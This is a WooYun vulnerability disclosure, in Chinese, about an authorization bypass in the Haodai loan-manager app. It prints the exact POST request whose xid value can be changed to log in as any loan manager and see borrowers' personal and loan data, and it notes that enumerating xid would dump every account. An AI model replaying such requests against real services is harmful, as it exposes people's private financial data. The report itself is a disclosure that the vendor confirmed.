当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0148774

漏洞标题：好贷网APP可绕过登陆任意用户（查看其借贷单据并执行操作）

相关厂商：好贷网

漏洞作者： 路人甲

提交时间：2015-10-23 09:16

修复时间：2015-12-07 10:38

公开时间：2015-12-07 10:38

漏洞类型：未授权访问/权限绕过

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-23： 细节已通知厂商并且等待厂商处理中
2015-10-23： 厂商已经确认，细节仅向厂商公开
2015-11-02： 细节向核心白帽子及相关领域专家公开
2015-11-12： 细节向普通白帽子公开
2015-11-22： 细节向实习白帽子公开
2015-12-07： 细节向公众公开

简要描述：

P2P金融安全之APP未授权访问

详细说明：

目标：好贷网信贷圈APP
APP本来是给信贷经理管理用的，在打开APP时会自动登陆上一次登陆的用户，但只需修改以下数据包中的xid值，即可以登陆该xid值的信贷经理，登陆后即可查看其借贷单据并执行相应借贷操作。当然，只需枚举下xid，即可爆出所有信贷经理的个人信息。

POST http://interface.api.haodai.com/bapi/Xdq/getUserInfo HTTP/1.1
Charset: UTF-8
Content-Type: application/x-www-form-urlencoded
Content-Length: 175
Host: interface.api.haodai.com
Connection: Keep-Alive
Cookie: PHPSESSID=s4mgruhtb539vke2up7m1t2sl7
Cookie2: $Version=1
os_type=1&appid=1&imei=A0000038000000&app_version=28002&auth_tms=20151022230339&auth_did=74590&auth_dsig=0470c7b4b59c975a&auth_uid=220820&auth_usig=24c6662bb66decee&xid=220820


下面不妨登陆两个来看看
1、登陆后的界面

0.jpg


2、个人信息

1.jpg


3、他所发的借贷项目的客户申请

2客户申请.jpg


4、来找他贷款的订单列表，大款好有钱的说~~这里可进行借贷相关操作哦~

3订单.jpg


5、其中一个订单客户的详细信息

5其中一个订单客户.jpg


6、已贷款的订单列表

6所有订单.jpg


7、联系人及相关信息

7联系人.jpg


我们来看个姐妹的吧~
1、

0.jpg


2、个人信息

1.jpg


3、待接订单，貌似更有钱哦~

2、待接订单.jpg


4、她的借贷微店

3、微店.jpg


5、找她贷款的

4、找她贷款的.jpg


6、联系人

6.jpg


金融数据安全，全部的借贷经理数据我没跑哦~借贷操作也没执行~

漏洞证明：

修复方案：

请多指教~

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2015-10-23 10:36

厂商回复：

多谢多谢

最新状态：

暂无

漏洞评价：

评论